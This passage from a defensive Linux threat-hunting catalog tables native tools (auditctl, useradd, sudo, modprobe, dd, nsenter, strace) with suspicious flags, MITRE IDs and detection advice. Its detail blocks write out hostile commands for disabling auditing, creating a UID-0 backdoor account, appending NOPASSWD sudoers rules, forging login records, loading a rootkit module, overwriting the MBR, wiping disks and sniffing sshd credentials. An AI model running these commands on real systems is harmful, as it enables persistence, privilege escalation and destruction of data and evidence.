`-t/-p` forge the source tag and facility.severity to inject false events into `auth.log/syslog` and mislead triage; `-n <ip> -P 514 -d` sends UDP datagrams, used to probe a log sink or C2 endpoint. Detect: `syslog` auth events with no matching PAM/auditd record (no `pam_unix/session` entry = forged); auditd `EXECVE` on `logger`; netflow/firewall egress on UDP/514.

update-rc.d, SysV boot persistence (Debian/Ubuntu)

```
update-rc.d evil defaults 99 01      # S99evil start / K01evil stop links across runlevels
update-rc.d evil enable
update-rc.d -f evil remove           # remove the links after use (cleanup)
```

`defaults` creates `/etc/rc?.d/S??evil` links so the service starts at every boot level (legacy SysV persistence that still runs where `systemd sysv compat` is enabled); `-f remove` deletes the links, indicator cleanup. Detect: new symlinks in `/etc/rc*.d/` cross-checked against package-manager file lists (`dpkg -S /etc/rc*.d/*`); auditd `EXECVE` on `update-rc.d`; boot logs showing unknown init scripts.

Section 2 (cont. 7): Linux Native Tool Catalog, Audit, Users & Auth, Suspicious Parameters

Scope: audit (auditd) tooling, account/password management, privilege escalation, and identity/locale utilities. All tools are native to mainstream distros unless marked; flags are exact real syntax. User/group utilities are shadow-utils (Debian/Ubuntu names shown; RHEL/Fedora differ slightly in options).

Audit subsystem (auditd / process accounting)

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
auditctl	Configure kernel audit rules	-e 0 (disable audit), -D (delete all rules), -a never,exit -S all (record nothing), -R <file> (load empty rule file)	Blinds the host's native event source before any malicious action	T1562.001
ausearch	Search audit event logs	-i -m USER_LOGIN, -ua <user>, -x <exe>, -k <key>, -ts/-te <range>	Recon: map exactly what auditd records, then time or filter activity to evade it	T1082
aureport	Summarize audit logs	-au (auth), -l (logins), -x (executables), -u (per-user)	Same recon of audit posture; learn admin login patterns	T1082
lastcomm	List executed commands from process accounting	lastcomm <user>, lastcomm -f <file> (non-default acct file)	Check whether command accounting is enabled before operating (optional acct package)	T1082

Login & session history

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
last	Show login history from wtmp	last -f <file> (non-default wtmp, planted/manipulated file), -i (IPs), -x (reboots)	Recon of admin logon times/IPs; reads forged wtmp to mislead hunters	T1033
lastb	Show failed logins from btmp	lastb -f <file>, lastb -i	See whether own brute-force attempts were recorded; verify btmp was cleared	T1033
who	Show currently logged-in users	who -a, who -u (idle time), who -b (boot time)	Check for other admins before acting to avoid detection	T1033
w	Show who is logged in and what they run	w -f (from host), w -i (IP), w -s	Live recon: who is active, from where, and what processes are visible	T1033
utmpdump	Dump/parse raw utmp/wtmp/btmp records	utmpdump /var/run/utmp, utmpdump < wtmp > new.wtmp (strip/regenerate entries)	Forge or remove own login records to erase footprint (Debian-family, sysvinit-utils; not default on RHEL)	T1070

Account creation & manipulation

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
useradd	Create a user account	-o -u 0 -g 0 (duplicate root UID/GID), -p <hash> (password on CLI), -G sudo wheel (admin group), -r (system account)	Silent root-equivalent backdoor account	T1136.001
userdel	Delete a user account	-r (delete home/mail), -f (force; kills logged-in sessions)	Destroy victim data or clean up own backdoor account	T1485
usermod	Modify user attributes	-aG sudo wheel docker <user>, -G without -a (silent group overwrite), -o -u 0, -s <shell>, -p <hash>, -L/-U (lock/unlock)	Elevate privileges, backdoor shells, lock out admins	T1098
newusers	Bulk-create accounts from a file	newusers /tmp/users.txt (name:pass:uid:gid:... lines)	Mass-provision many backdoor accounts in one command	T1136.001

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
chsh	Change a user's login shell	chsh -s <any-binary> <user>, chsh -s /bin/bash	Swap user's shell for a malicious script/binary running with their privileges	T1098
groupadd	Create a group	groupadd -g 0 <name> (GID 0), -r	Group with root GID grants root-ownership rights to members	T1098
groupmod	Modify a group	groupmod -o -g 0 <name>, groupmod -n <new> <old>	Retarget group to GID 0; rename groups to confuse audit trails	T1098
gpasswd	Manage group membership/ password	gpasswd -a <user> <grp>, -A <user> (admins), -M <list> (all members), -R (restrict), -d	Add attacker to sudo/ docker/wheel groups without usermod	T1098
chage	Change password-aging policy	chage -M -1 <user> (never expire), -E -1, -d 0 (force change next login), -l (list policy)	Persistence for backdoor accounts; recon of password policy	T1098

Password & lockout management

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
passwd	Change a user's password	passwd -d <user> (delete password, passwordless login), -l / -u (lock/ unlock), -e (expire now), --stdin (RHEL-family only)	Take over accounts, disable passwords, scripted mass changes	T1098
chpasswd	Bulk-update passwords from stdin	echo 'user:pass' chpasswd, chpasswd -e (hashed input), -c SHA512	Change root/many users' passwords in one pipe; reset-account attacks	T1098
faillock	View/reset pam_faillock counters	faillock --user <u> --reset, --user <u> (probe), --dir <path>	Wipe brute-force evidence after a successful login-guessing campaign	T1070
pam_tally2	Legacy counter tool (deprecated in PAM ≥ 1.4, removed on newer distros; use faillock)	pam_tally2 --user <u> --reset, -u <u> -r, -f <file>	Same: clear failed-login counters to hide brute force	T1070 (legacy)

Privilege escalation & policy

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
sudo	Run a command as another user per policy	sudo -u <user> <cmd>, sudo -u#0, -i / -s (root shell), -E (preserve env), sudo env LD_PRELOAD=/tmp/x.so <cmd>, -l (list rules), sudo bash -c '...'	Escalate to root/other users; library hijack via env; privilege recon	T1548.003
sudoedit	Edit files with sudo (sudo -e)	sudoedit /etc/sudoers, SUDO_EDITOR=<malicious> sudoedit <file> (CVE-2023-22809)	Hook the editor env var to run arbitrary code as root; edit protected files	T1548.003
su	Switch to another user	su - <user>, su -c '<cmd>', su -l <user>	Escalate with stolen/known passwords; one-shot commands as root	T1078.003
visudo	Edit sudoers safely	visudo -f <path> (non-default file), -c (check only)	Add NOPASSWD rules via sudoers (usually direct append: echo 'u ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers); visudo -f validates planted rule files	T1548.003

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
pkexec	Run commands as another user via polkit (third-party: polkit package)	pkexec --user <u> <cmd>, env PKEXEC_UID=0 (CVE-2021-4034 PwnKit)	Local root exploit or policy-bypass execution	T1068

Discovery & enumeration

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
id	Print real/effective UID/GID	id, id <user>, id -u	Instant confirmation of root after privilege escalation; user existence checks	T1033
groups	Print group memberships	groups <user>, groups	Enumerate who sits in sudo/wheel/docker, maps privilege-escalation paths	T1069
getent	Query NSS databases (passwd/shadow/group/hosts)	getent passwd <name>, getent shadow <name> (root only), getent group	Validate usernames before password spraying; dump account inventory	T1087
loginctl	Manage systemd login sessions	loginctl list-sessions, loginctl session-status <id>, loginctl terminate-session <id>, loginctl unlock-sessions	Session recon; terminate responders'/users' sessions to disrupt response	T1033

System identity, time & locale (evasion)

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
hostname	Show/set hostname (temporary)	hostname <newname>, hostname -F <file> (load from file), hostname -I (list all IPs)	Rename host to blend in or break SIEM log correlation; IP inventory	T1082
hostnamectl	Set persistent hostname/system metadata	hostnamectl set-hostname <name>, set-chassis, set-deployment	Persistent rename surviving reboot, hides host identity in dashboards	T1082
timedatectl	Query/set time and NTP state	timedatectl set-time "<date>", set-ntp false (stop auto-correction)	Rewind/skew timestamps to defeat time-based detection and log ordering	T1070.006
localectl	Set locale/keymap	localectl set-locale <x>, set-keymap <x>	Rare; locale tampering can break log parsing or i18n-dependent checks	T1082

DETAIL BLOCKS, most-abused tools

auditctl, killing the audit trail

```
auditctl -e 0          # disable auditing (0=off, 1=on, 2=lock)
auditctl -D            # delete every rule
auditctl -a never,exit -S all # exclude ALL syscalls from recording
```

- -e 0 flips the audit enable flag to off; -D removes all loaded rules; -a never,exit -S all adds a single rule that suppresses every syscall. Any combination blinds the host's native event source before malicious activity.
- Detect: CONFIG_CHANGE audit records fire for -D/-a while audit is still on; dmesg/journald prints audit: disabled when -e 0 lands; process-exec telemetry (lastcomm, Sysmon-for-Linux EventID 1, EDR) for auditctl; a persistent integrity watch on /sbin/auditctl (auditctl -w /sbin/auditctl -p x -k auditctl_exec) catches first execution. Flag rule deletions + -e 0 within minutes.

sudo, escalation and env hijack

```
sudo -i                # root login shell
sudo -u#0 -s /bin/bash  # root shell via raw UID
sudo -E env LD_PRELOAD=/tmp/x.so /usr/bin/less
sudo -l                # enumerate permitted commands
```

- `-i/-s` spawn root shells; `-u#0` bypasses username lookup; `-E` keeps the environment so `LD_PRELOAD` can slip past sudo's env scrubbing (the `env` binary sets it after sudo); `-l` maps the sudoers policy before exploitation.
- Detect: `/var/log/auth.log` / `/var/log/secure` lines `sudo: attacker : TTY=pts/0 ; USER=root ; COMMAND=...` (RHEL `sudo.log` has full `SUDO_COMMAND`); auditd `SYSCALL` records with `eid=0` and `exe=/usr/bin/sudo`; alert on `sudo` whose parent is a webserver, mail daemon, or `nobody` process; audit `LD_PRELOAD` in the `execve` env.

su, switching users with stolen creds

```
su - root
su -c 'useradd -o -u 0 backdoor' root
```

- `-` gives a full login shell (env reset); `-c` runs one command as the target user, the classic one-liner to create a root backdoor without an interactive session.
- Detect: `auth.log` `su: (to root) attacker on pts/0` plus PAM session opened for user `root` by (`uid=1000`); correlate `su` to `root` with a preceding failed-password spike; alert on `su -c` from non-admin accounts; auditd `USER_START/USER_LOGIN` records for the target UID.

visudo / sudoers tampering

```
visudo -c                # syntax check only
visudo -f /tmp/backdoor_sudoers # edit an alternate file
echo 'pwn ALL=(ALL:ALL) NOPASSWD: ALL' >> /etc/sudoers
```

- `-f` edits a non-default sudoers file (e.g., one staged in `/tmp` or injected via `/etc/sudoers.d/`); direct appends add passwordless root rules for the attacker's account.
- Detect: file-integrity watch on `/etc/sudoers` and `/etc/sudoers.d/` (`-w /etc/sudoers -p wa`); auditd `CONFIG_CHANGE/USER_MANAGEMENT` records; `sudo -l` output diff; grep for `NOPASSWD` lines referencing non-admin users; EDR file-write on `/etc/sudoers*` with parent `bash/echo`.

useradd, root backdoor account

```
useradd -o -u 0 -g 0 -m -s /bin/bash backdoor
useradd -p '$6$salt$hash' -G sudo attacker
```

- `-o -u 0 -g 0` creates a second account with root's UID/GID (full root privileges, different name, no login alarm); `-p` embeds a hash in the CLI (visible in history/audit); `-G sudo` puts the new account straight into the admin group.
- Detect: auditd `USER_MANAGEMENT / USERADD` records; `auth.log` `useradd[pid]: new user: name=backdoor, uid=0, gid=0`; periodic check `awk -F: '$3==0{print}' /etc/passwd` for duplicate UID 0; process-accounting for `useradd` from non-admin parents.

usermod, privilege elevation of existing accounts

```
usermod -aG sudo attacker
usermod -o -u 0 attacker
usermod -s /bin/bash -p '$6$...' victim
```

- `-aG sudo` (or `wheel/docker`) grants admin membership; `-o -u 0` duplicates root UID; `-s` swaps the shell to a malicious binary; `-p` sets a known hash, all without creating a new account.
- Detect: `auth.log` `usermod[pid]: change user 'attacker'`; auditd `USER_MANAGEMENT` with `op=modify`; integrity alerts on `/etc/passwd`, `/etc/group`, `/etc/shadow`; alert on `usermod -s` to anything outside `/usr/bin`, `/bin`, `/usr/sbin`.

passwd & chpasswd, account takeover

```
passwd -d victim # remove password -> passwordless login
echo 'toor' | passwd --stdin root # RHEL-family only (not Debian/Ubuntu)
echo 'victim:NewPass123!' | chpasswd
echo 'victim:$6$<hash>' | chpasswd -e
```

- `-d` deletes the password hash (account logs in with empty password where permitted); `--stdin` (RHEL-only patch) enables scripted, history-invisible changes; `chpasswd` changes many accounts or root in a single pipe, `-e` with a precomputed hash.
- Detect: auditd `USER_CHAUTHOK` records; `auth.log` `pam_unix(passwd:chauthtok): password changed for victim`; alert on `passwd/chpasswd` targeting `root` or `victim`-named accounts; EDR exec of `chpasswd` with `stdin` from a pipe; prompt SIEM on `chpasswd` run by non-admin UID.

faillock / pam_tally2, hiding brute force

```
faillock --user root --reset # pam_faillock (current)
pam_tally2 --user root --reset # legacy, PAM < 1.4/1.6 (deprecated)
```

- `--reset` clears the failed-login counter for a targeted user, wiping proof of a successful password-guessing campaign (often followed by `rm -f /var/log/btmp`).
- Detect: exec telemetry on `/usr/bin/faillock/pam_tally2` with target user or admin context; sudden drop to zero in `faillock --user` counts for a user with a recent alert history; audit watch on `/usr/sbin/faillock -p x`; correlation of `btmp` truncation shortly after.

utmpdump, forging login records

```
utmpdump /var/run/utmp > /tmp/utmp.txt # dump current sessions
utmpdump < /tmp/utmp.txt > /var/run/utmp # regenerate (stripped/injected) wtmp
```

- The tool exists to manipulate `utmp`-family files; attackers use it to strip their own IP/host entries or plant fake logins, corrupting `last/who` output for forensic analysis.
- Detect: journald `utmpd` errors on truncation; `stat/lsattr` shows `wtmp/btmp/utmp` mtime or size anomalies vs. login volume; EDR file-write on `/var/run/utmp`, `/var/log/wtmp`, `/var/log/btmp`; `last -f /var/log/wtmp` entries whose timestamps don't match `auth.log`.

hostnamectl & timedatectl, identity/time tampering

```
hostnamectl set-hostname win-dc01
timedatectl set-ntp false
timedatectl set-time "2023-01-01 00:00:00"
```

- Persistent hostname changes make the box vanish from per-host dashboards and break correlation; disabling NTP plus `set-time` rewinds clocks to distort event ordering and timestamp-based detections.
- Detect: journald `systemd-hostnamed/systemd-timesyncd` messages; `/etc/hostname` mtime and content diff; SIEM alerts on hostname-field change for an endpoint; time-service disable (NTP) followed by a clock jump > 60s is a strong evasion signal; audit watch on `/etc/hostname` and `/etc/localtime`.

Section 2 (cont. 8): Linux Native Tool Catalog, Kernel, Storage & Devices, Suspicious Parameters

Scope: kernel modules, runtime params, namespaces, mounts/block devices, partitioning, filesystems, data destruction, hardware recon, syscall tracing. All tools native unless marked. Syscall/audit numbers below are x86_64.

Kernel modules & runtime control

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
lsmod	List loaded modules (/proc/modules)	none, read-only, inspect output	Recon: confirm kernel rootkit/implant loaded; enumerate modules to unload	T1082, T1014
insmod	Insert one module manually	-f (force), -k/-p (legacy)	Direct .ko load bypassing modprobe dep checks; -f skips version/vermagic match	T1547.006, T1014
modprobe	Load/remove modules w/ deps	-f, -r, -n (dry-run), -C <cfg>, -d <dir>	Load implant module; -d/-C redirect lookups to attacker dirs; install evil <cmd> conf directive = command exec on module trigger	T1547.006, T1014
rmmod	Unload a module	-f (force), -w (wait)	Unload security/AV/audit-support modules to blind monitoring	T1562.001
depmod	Rebuild module dep files	-b <dir>, -C <cfg>, -F <System.map>	Regenerate modules.dep to cover a planted .ko; rebuild after hiding module in custom dir	T1547.006
modinfo	Show module metadata	-F <field>, -n, -b <dir>	Recon: license field flags kernel taint (rootkit stealth); locate module path for swap	T1082
sysctl	Read/write kernel params	-w, -p <file>, --system	Disable ASLR/kptr (kernel.randomize_va_space=0, kernel.kptr_restrict=0), kernel.yama.ptrace_scope=0, net.ipv4.ip_forward=1, bulk-apply via attacker file	T1562.001
kexec	Load/exec new kernel in memory	-l <vmlinuz> --initrd= --command-line=, -e, -p	Boot custom/backdoored kernel without touching bootloader; runtime persistence/evasion	T1542

Kernel log & memory introspection

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
dmesg	Print kernel ring buffer	-c (clear), -w, -T	dmesg -c erases boot/module-load evidence; leak kernel pointers when kernel.dmesg_restrict=0	T1070.001

Namespace & container escape primitives

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
unshare	Run program in fresh namespaces	-m -n -u -i -p -U -C, -r (map-root-user), --mount-proc, --propagation=shared	Fresh netns (-n) dodges host firewall rules; -Urm yields usersns root (kernel CVE exploitation); escape mount isolation	T1611
nsenter	Enter existing process namespaces	-t <pid>, -a, -m -n -p -U, -r <dir>, -S <uid>	nsenter -t 1 -a jumps container -> host namespaces (escape); -r/-S set root/uid inside target ns	T1611

Mount, loop & block-device operations

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
mount	Attach filesystems	-o loop,bind,remount,exec,rw, --bind, --make-rshared, -n, -t <type>	Bind-mount to read/tamper hidden data; remount,exec on noexec mounts; loop-mount attacker image; remount / rw to alter evidence; cgroup/proc mounts in escapes	T1611, T1564
umount	Detach filesystems	-l (lazy), -f, -R	Unmount volumes to hide mounted attacker data; pre-forensics teardown	T1564, T1070
losetup	Manage loop devices	-f, -o <offset>, -r, -P, -j <file>	Attach attacker image (losetup -f img + mount); -o offset mounts data hidden in slack/end-of-disk; legacy -e (encrypt) removed, obsolete	T1564, T1005
swapon	Enable swap	-a, -p <pri>, -o <opts>	Park/stage data on hidden swap file or partition	T1005
swapoff	Disable swap	-a	Stop paging so memory forensics misses content; teardown hidden swap	T1070
lsblk	List block devices	-f, -o <cols>, -a, -S	Recon: disks, removable media, hidden partitions, encrypted volumes	T1082
findmnt	List mounts (tree)	-o, -R, -t, -S <src>, -J	Spot odd bind mounts, stray proc/tmpfs, exec-enabled mounts	T1082, T1564
blkid	Print block-device metadata	-p, -o value, -s <tag>, -U/-L, -c <cache>	Recon; verify UUID spoofing took effect (after tune2fs -U)	T1082

Partitioning & filesystem creation

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
fdisk	Partition table editor	-l, non-interactive scripted input	Recon disk layout for data-hiding; scripted repartition	T1082, T1005
parted	Partition editor	-s (script), -m, -a <align>, -j	Scripted rm/mkpart, carve hidden partition or wipe in one command	T1485, T1005
mkfs.*	Create filesystem (mkfs.ext4/xfs/...)	-F/-f (force), -q, -L, -U, -O	Format partition to wipe data or prep hidden volume; -q suppresses output/logging	T1485, T1070
mkswap	Set up swap filesystem	-f, -L, -U, -p	Create attacker swap file/partition for data parking	T1005

Filesystem integrity, attributes & recovery

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
tune2fs	Adjust ext fs parameters	-U <uuid>/random, -O ^has_journal, -L, -e, -j	Change UUID to evade blocklists/targeting; disable journal to erase prior-activity evidence; -l recon reveals fs creation time	T1070, T1562.001
e2fsck	Check ext fs	-y, -n, -f, -b <superblock>	Recover deleted data; -n read-only recon of hidden images; repair attacker-damaged fs	T1005
debugfs	Interactive ext fs debugger	-w, -R <cmd>, -f <cmdfile>, -s <sb>	-R "lsdel" recovers deleted creds/files; -w edits inodes/superblock; logdump reads journal for prior data	T1005, T1552
dumpe2fs	Dump superblock/group info	-h, -i , -b	Forensic timeline: fs creation time, UUID, mount count prove hidden-fs creation	T1082, T1005
chattr	Change ext file attributes	+i, +a, +A, -R	+i immutable locks malware/persistence files against removal; +a append-only guards attacker files/logs; defeats cleanup	T1222.002
lsattr	List file attributes	-R, -a, -d	Sweep for +i/+a implants; verify planted files' stealth	T1082

Data destruction & anti-forensics

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
dd	Low-level block copy	of=/dev/sdX, if=, bs=, count=, seek=, conv=notrunc, status=none	dd if=evil.mbr of=/dev/sda = bootkit install; whole-disk wipe; copy disk to image for exfil; write to /dev/mem	T1542.003, T1485
wipefs	Erase filesystem signatures	-a (all), -f, -n, -o <offset>	Strip fs magic so forensics/blkid can't identify partition (hide/type-spoof volumes)	T1485, T1070
shred	Overwrite + delete files	-u, -z, -n <iters>, -f	Permanent destruction of logs/scripts/artifacts; defeats file recovery	T1485

Hardware & device discovery

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
dmidecode	Dump DMI/BIOS tables	-t <type>, -s <string>, -d <memfile>	Direct /dev/mem read (unusual, strong signal); hardware/VM fingerprinting	T1082
lscpu	CPU info	-e, -p, -J	Count cores to size cracking/parallel workloads	T1082
lsusb	List USB devices	-v, -t, -d <vid:pid>, -s <bus:dev>	Find removable storage for exfil; spot injected HID/keyloggers	T1082
lspci	List PCI devices	-nn, -k, -v	Find GPU for hashcat; identify NICs/DMA-capable hardware	T1082

Process & syscall tracing

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
strace (third-party, ubiquitous)	Trace syscalls of a process	-p <pid>, -e trace=read,write, -f, -o <file>, -s <n>, -c	Attach to sshd/login/passwd to sniff plaintext creds; keylogging via read on input devices; works when yama.ptrace_scope=0	T1056.001, T1555

DETAIL BLOCKS, most-abused tools

1. modprobe / insmod, kernel implant loading

```
insmod -f /var/tmp/rk.ko          # force-load a hand-built rootkit
modprobe -d /tmp -C /tmp/m.conf implant # redirect module lookup + config
modprobe -f -v implant           # force, verbose
# /tmp/m.conf:  install implant /bin/sh -c 'cp rk.ko /lib/modules/...; /sbin/insmod rk.ko'
```

-f bypasses vermagic/modversion checks so a mismatched .ko loads; -d <dir> and -C <cfg> move module/config resolution out of /lib/modules and /etc/modprobe.d; an install <mod> <command> directive executes any command whenever that module is requested (a trigger/persistence hook). Detection: auditd -a always,exit -F arch=b64 -S init_module,finit_module,delete_module -k kernel-modules (x86_64 syscalls 105/313/106); journalctl -k "module: loading" lines; unexpected names in /proc/modules; SELinux/AppArmor module_load denials; compare modinfo -n output against /lib/modules/.

2. sysctl, mitigation & policy disarm

```
sysctl -w kernel.randomize_va_space=0 # disable ASLR
sysctl -w kernel.kptr_restrict=0      # leak kernel pointers to userspace
sysctl -w kernel.yama.ptrace_scope=0  # allow ptrace (enables cred sniffing)
sysctl -w net.ipv4.ip_forward=1       # pivot routing
sysctl -p /tmp/evil.conf               # bulk-apply attacker params
```

The legacy sysctl(2) syscall was removed from Linux; all writes go through /proc/sys (open+write), so -w/-p are just conveniences. Detection: auditd watch -w /proc/sys/kernel/ -p wa -k sysctl-write (and -w /proc/

sys/net/)); check `auditctl -l` for live rules; persistence variant: `/etc/sysctl.d/99.conf + sysctl --system;` `journald/SELinux` denials.

3. mount / losetup, attaching attacker data & escaping mounts

```
mount -o loop /tmp/drop.img /mnt          # mount attacker image
mount --bind /root /var/tmp/x             # bind-mount to read/tamper hidden data
mount -o remount,exec /tmp                # re-enable exec on noexec mount
losetup -f -o 1048576 /tmp/crypt.bin      # loop at offset = data hidden in slack
```

`-o loop` attaches a file as a block device (staging/exfil images); `--bind` re-exposes an existing mount at an attacker-chosen path; `remount,exec` defeats `noexec` hardening; `-n` skips `mtab` bookkeeping (mostly no-op with symlinked `/etc/mtab`); `losetup -o <offset>` mounts data hidden beyond the filesystem boundary. Detection: `auditd -a always,exit -F arch=b64 -S mount,umount2 -k mounts (165/166)`; `audit watch -w /etc/fstab -p wa`; `findmnt -o TARGET,SOURCE,FSTYPE,OPTIONS` diffed against baseline; `losetup -a` shows unexpected loop devices; `udev/journald` events.

4. debugfs, deleted-data recovery & journal reads

```
debugfs -w -R "lsdel" /dev/sda1          # list deleted inodes
debugfs -w -R "dump <inode> /tmp/recovered" # extract file by inode
debugfs -w -R "logdump" /dev/sda1        # dump journal (may hold prior data)
```

`lsdel` enumerates deleted inodes and lets an attacker pull previously-deleted files (creds, configs) off the raw device; `-w` opens the device read-write and `-R` runs a single request non-interactively; `logdump` reads the ext journal, which can contain data the OS believed overwritten. Detection: requires root and raw block-device access, `auditd -w /dev/sdX -p wa -k blockdev` or an `openat` rule on `/dev/sd*`; `journald` filesystem-error lines when `debugfs` writes; recovered-file timestamps diverge from normal activity; `bash` history.

5. chattr, immutable & append-only persistence hardening

```
chattr +i /etc/systemd/system/evil.service # persistence file you cannot delete
chattr +a /root/.bash_history              # append-only "protected" log
lsattr -R /etc /root                       # defender sweep for +i/+a
```

`+i` (immutable) blocks any write/delete/unlink of the file, including by root and by your IR tooling; `+a` permits appends only, which protects attacker-maintained files from truncation while still allowing growth; both commonly lock in persistence (cron, systemd, rc scripts, binaries). Detection: `auditd -a always,exit -F arch=b64 -S ioctl -F a1=0x40086602 -k chattr (ioctl arg FS_IOC_SETFLAGS)`; `rm/chmod` fail with "Operation not permitted" on supposedly-owned files; periodic `lsattr -R` sweeps; AppArmor/SELinux denials.

6. dd, disk overwrite, bootkit & memory dump

```
dd if=/dev/urandom of=/dev/sda bs=1M      # wipe whole disk
dd if=evil.img of=/dev/sda bs=512 count=1 # overwrite MBR -> bootkit
dd if=/dev/sda of=/tmp/steal.img bs=1M    # copy disk for exfil
dd if=/dev/mem of=/tmp/mem bs=1k          # dump physical memory
```

`of=/dev/sdX` (any block device) is almost never legitimate on a production box; `bs=512 count=1` writes exactly the MBR, a bootkit payload in one line; `if=/dev/sda + of=<file>` stages a full disk image for exfiltration; `of=/dev/mem` writes/reads kernel memory directly. Detection: `auditd watch -w /dev/sda -p wa -k disk-access` (or `/dev/mem`); `audit` rules on `openat` under `/dev` (`-F dir=/dev`); `udev` events; MBR/EFI integrity checks; process tree showing `webapp/ssh` session spawning `dd` against a disk.

7. unshare, namespace escape & firewall bypass

```
unshare -rm /bin/sh          # user+mount ns, map-root -> userns root
unshare -n /bin/bash         # fresh netns bypasses host firewall/NFT rules
unshare -m --mount-proc --propagation=shared /bin/sh # mount-isolation break
```

`-r` (`--map-root-user`) grants uid 0 inside the user namespace without privilege, the foundation for unprivileged users kernel-CVE exploits; `-n` creates a clean network stack where iptables/nftables (host ns) don't apply, tunnel/pivot out; `--mount-proc` mounts a fresh proc, `--propagation=shared` is a prerequisite for mount-based container escapes. Detection: auditd `-a always,exit -F arch=b64 -S unshare -k userns` (syscall 272); `lsns` shows processes in private namespaces; compare `/proc/<pid>/ns` inode numbers across processes; AppArmor unshare denials; `kernel.unprivileged_userns_clone` state.

8. nsenter, jumping into another namespace (container -> host)

```
nsenter -t 1 -a /bin/bash          # enter PID 1 namespaces from inside a container
nsenter -t 1234 -m -u -i -n -p /bin/sh  # pick specific namespaces
```

`-t <pid>` selects the target process (PID 1 = host from a container); `-a` enters every namespace of that process; `-m/-p/-n` enter mount/pid/net namespaces individually; `-r <dir>` sets root, `-S <uid>` maps uid, used to get a host-namespace shell from a compromised container. Detection: auditd

`-a always,exit -F arch=b64 -S setns -k ns` (setns = 308); process whose ns inodes differ from its runtime/container peers; SELinux/AppArmor setns denials; container runtime + orchestrator audit logs.

9. strace, credential sniffing via ptrace

```
strace -p $(pgrep sshd) -e trace=read,write -s 4096 -o /tmp/p.log
strace -f -e trace=open,read -s 256 -o /tmp/capture ./target
```

`-p` attaches to a running process (ptrace); `-e trace=read,write` filters to data-bearing syscalls where passwords/keys/tokens pass in plaintext; `-s 4096` expands the string window past the 32-byte default so full buffers are captured; `-o` writes to a staging file; `-f` follows children. Attaching to sshd/login/gpg/browser = credential theft. Detection: set `kernel.yama.ptrace_scope=1` (non-root attach then fails); auditd `-a always,exit -F arch=b64 -S ptrace -F a0=16 -k ptrace-sniff` (PTRACE_ATTACH=16, syscall 101); SELinux `deny_ptrace`; audit events show `comm=strace` and an unexpected parent.

10. dmesg, kernel buffer evidence clearing

```
dmesg -c          # clear the ring buffer (erases module-load/boot evidence)
dmesg -w          # follow kernel messages live (watch for counter-detection)
```

`-c` empties the in-memory ring buffer, wiping lines about module loads, USB connects, OOMs, and driver messages that corroborate implant activity. Detection: auditd `-w /dev/kmsg -p wa -k dmesg`; set `kernel.dmesg_restrict=1` so only root can read/clear; note the clear only hits the live ring, `journalctl -k` (persistent) still holds kernel messages, so confirm from journald; `systemd/journald` access events.

Section 2 (cont. 9): Linux Native Tool Catalog, Packages & Interpreters, Suspicious Parameters

Scope: distro-native package managers, compilers/build tools, and scripting interpreters. (third-party) marks non-native tools. Flags verified for current Debian/RHEL-family tooling; legacy flags marked.

Execution & scripting interpreters

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
perl	Scripting, text processing	<code>-e 'code'</code> , <code>-ne</code> / <code>-pe</code> loops, <code>-M Module</code> , <code>-i</code> in-place edit	<code>-e</code> one-liners run code with no script file; <code>-MIO::Socket::INET</code> reverse/bind shells; <code>-i</code> rewrites files (log/config tamper)	T1059
python3	System scripting, automation	<code>-c 'code'</code> , <code>-m module</code> , <code>-I</code> (isolated), <code>-B</code> (no .pyc)	<code>-c</code> inline reverse shell; <code>-m http.server</code> serves/exfiltrates files; <code>-m pip</code> re-install chains; <code>-B</code> skips bytecode artifacts (anti-forensics)	T1059.006
ruby	Scripting language	<code>-e 'code'</code> , <code>-r lib</code>	<code>-e 'exec "/bin/sh"'</code> ; <code>-rsocket -e</code> reverse shell; no file = argv-only payload	T1059
php	Web/CLI scripting	<code>-r 'code'</code> , <code>-a</code> , <code>-S host:port</code> , <code>-d ini=val</code> , <code>-n</code>	<code>-r</code> CLI code exec / reverse shell; <code>-S</code> serves any dir (payload/web-shell host); <code>-d</code> overrides php.ini (allow_url_include=1, empty disable_functions)	T1059 / T1505.003
awk	Text-field processing	<code>BEGIN{system("cmd")}</code> , <code>'cmd' "/bin/sh"</code>	<code>system()</code> and pipe-to-sh execute shell commands from data/argv, fileless-ish code exec	T1059
sed (GNU)	Stream editor	<code>s/pat/rep/e</code> (GNU), <code>-i</code> in-place	GNU <code>e</code> flag runs the replacement as a command; <code>-i</code> rewrites files in place (configs, logs, shell profiles)	T1059
expect	Automates interactive programs (Tcl)	<code>-c 'spawn ...; expect "pw"; send ...'</code>	Scripted answering of interactive prompts, brute/pass-the-password SSH, interactive shells without a PTY	T1059
xargs	Build/execute commands from stdin	<code>xargs -I{} sh -c '{}'</code> , <code>xargs -n1 sh</code>	Pipes attacker-controlled data into a shell; mass command execution across found files	T1059.004
node (third-party)	JS runtime (not stock Linux)	<code>-e 'code'</code> , <code>-p</code>	<code>-e</code> net/socket reverse shells; many Linux rootkits bundle node payloads	T1059
python2 (legacy)	Older interpreter (removed from most distros)	<code>-c 'code'</code>	Same abuse as python3; its presence on a modern box is itself an anomaly	T1059.006

Source control, compilers & build tools

